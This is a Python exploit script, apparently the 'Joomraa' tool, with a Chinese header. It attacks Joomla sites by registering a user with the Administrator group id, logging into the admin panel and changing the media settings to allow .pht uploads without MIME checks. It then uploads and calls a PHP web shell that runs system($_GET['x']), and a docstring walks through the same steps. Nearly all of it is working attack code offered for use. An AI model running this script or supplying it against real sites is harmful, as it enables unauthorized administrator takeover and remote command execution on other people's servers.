# Getshell exp，使用方法请参考 https://github.com/XiphosResearch/exploits/tree/master/Joomraa
#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import base64
import os
import random
import time
try:
# Python 2.6-2.7
from HTMLParser import HTMLParser
except ImportError:
# Python 3
from html.parser import HTMLParser
"""
How to exploit:
1) Run script, get user access
2) [optional] - Activate your account
3) Go to Content > Media
4) Click 'Options'
5.1) Add php3, php4, php5, pht to 'Legal Extensions' & Legal Image Extensions
5.2) Disable 'Restrict Uploads' & 'Check MIME Types'
6) Upload '.pht' file with:
<?= system($_GET['x']);
7) Pwned
"""
def randomname(extn='.pht'):
return base64.b32encode(os.urandom(20))[:random.randint(5, 10)] + extn
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[!] Cannot find CSRF token")
return None
return match.group(1)
def try_admin_login(options, sess):
admin_url = options.url + '/administrator/index.php'
print('[-] Getting token for admin login')
resp = sess.get(admin_url)
token = extract_token(resp)
if not token:
return False
print('[-] Logging in to admin')
data = {
'username': options.username,
'passwd': options.password,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data)
if 'task=profile.edit' not in resp.text:
print('[!] Admin Login Failure!')
return
print('[+] Admin Login Success!')
return True
def get_media_options(options, sess):
print("[+] Getting media options")
media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
resp = sess.get(media_options_url)
results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
if not results:
print("[!] Fail")
return
return dict(results)
def set_media_options(options, sess, data):
"""
Allow us to upload a .pht file
"""
print("[+] Setting media options")
newdata = {
'jform[upload_extensions]': 'bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
'jform[upload_maxsize]':10,
'jform[file_path]':'images',
'jform[image_path]':'images',
'jform[restrict_uploads]':1,
'jform[check_mime]':0,
'jform[image_extensions]':'bmp,gif,jpg,png',
'jform[ignore_extensions]': '',
'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
'jform[upload_mime_illegal]':'text/html',
'id':13
}
newdata.update(data)
newdata['component'] = 'com_media'
newdata['task'] = 'config.save.component.apply'
config_url = options.url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata)
if 'jform[upload_extensions]' not in resp.text:
print('[!] Maybe failed to set media options...')
return False
return True
def add_item(data, field, item):
return ",".join(set(data.get(field, '').split(',') + [item]))
def stage_two(options, sess):
"""Now we are logged in to admin area,
use this to gain shell execution using .pht upload.
Ooh, scary super 0-day lol ^_^ *rolleyes*
"""
media_options = get_media_options(options, sess)
if not media_options:
return False
old_options = media_options.copy()
media_options.update({
'jform[check_mime]': 0,
'jform[restrict_uploads]': 0,
'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'),
'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'),
'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream'),
})
if not set_media_options(options, sess, media_options):
return False
image_path = media_options.get('jform[image_path]', 'images')
return upload_file(options, sess, image_path)
def upload_file(options, sess, image_path):
print("[*] Uploading exploit.pht")
url = options.url + "/administrator/index.php?option=com_media&folder="
resp = sess.get(url)
match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
if not match:
print("[!] Cannot find file upload form!")
return False
upload_url = HTMLParser().unescape(match.group(1))
filename = randomname()
exploit_url = "%s/%s/%s" % (options.url, image_path, filename)
print("[*] Uploading exploit to:", exploit_url)
files = {
'Filedata[]': (filename, options.exploit, 'application/octet-stream')
}
data = dict(folder="")
resp = sess.post(upload_url, files=files, data=data)
if filename not in resp.content:
print("[!] Failed to upload file!")
return False
print("[*] Calling exploit")
resp = sess.get(exploit_url)
if options.search not in resp.content:
print("[!] Search string not in exploit")
print(resp)
return False
print("[$] Exploit Successful!")
return True
def create_user(options, sess, token):
"""
Create an Administrtaor user using the CVE
"""
data = {
# User object
'user[name]': options.username,
'user[username]': options.username,
'user[password1]': options.password,
'user[password2]': options.password,
'user[email1]': options.email,
'user[email2]': options.email,
'user[groups][]': '7', # Yay, Administrator!
# Sometimes these will be overridden
'user[activation]': '0',
'user[block]': '0',
# Form data
'form[name]': options.username,
'form[username]': options.username,
'form[password1]': options.password,
'form[password2]': options.password,
'form[email1]': options.email,
'form[email2]': options.email,
'form[option]': 'com_users',
'form[task]': 'user.register',
token: '1',
}
return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)
def parse_options():
try:
exploit_file = open('filthyc0w.pht', 'r')
except Excption:
exploit_file = None
parser = argparse.ArgumentParser(description='Jooma Exploit')
parser.add_argument('url', help='Base URL for Joomla site')
parser.add_argument('-u', '--username', default='hacker')
parser.add_argument('-p', '--password', default='password')
parser.add_argument('-e', '--email', default='hacker@example.com')
parser.add_argument('-s', '--search', default='098f6bcd4621d373cade4e832627b4f6')
parser.add_argument('-x', '--exploit', default=exploit_file, type=argparse.FileType('r'))
return parser.parse_args()
def pwn_joomla(options):
sess = requests.Session()
print("[-] Getting token")
resp = sess.get(options.url + "/index.php/component/users/?view=login")
token = extract_token(resp)
if not token:
return False
print("[-] Creating user account")
resp = create_user(options, sess, token)
can_login = try_admin_login(options, sess)
if not can_login:
# TODO: periodically check if we can login as admin
print("[-] Check email for activation code")
try:
resp = raw_input('[?] Press any key after activation')
except KeyboardInterrupt:
return False
can_login = try_admin_login(options, sess)
if not can_login:
return False
return stage_two(options, sess)
def print_logo():
clear = "\x1b[0m"
colors = [31, 32, 33, 34, 35, 36]
logo = """
@@@ @@@@@@ @@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@
@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@
@@! @@! @@@ @@! @@@ @@! @@! @@! @@! @@@ @@! @@@ @@! @@@ @@!
!@! !@! @!@ !@! @!@ !@! !@! !@! !@! @!@ !@! @!@ !@! @!@ !@
!!@ @!@ !@! @!@ !@! @!! !!@ @!@ @!@!!@! @!@!@!@! @!@!@!@! @!@
!!! !@! !!! !@! !!! !@! ! !@! !!@!@! !!!@!!!! !!!@!!!! !!!
!!: !!: !!! !!: !!! !!: !!: !!: :!! !!: !!! !!: !!!
!!: :!: :!: !:! :!: !:! :!: :!: :!: !:! :!: !:! :!: !:! :!:
::: : :: ::::: :: ::::: :: ::: :: :: ::: :: ::: :: ::: ::
: ::: : : : : : : : : : : : : : : : : : :::
"""
for line in logo.split("\n"):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
def main(base_url):
options = parse_options()
print_logo()
if pwn_joomla(options):
print("[$] SUCCESS:", options.url)
else:
print("[*] FAILURE")
if __name__ == "__main__":
sys.exit(main("http://192.168.10.100:8080/joomla"))
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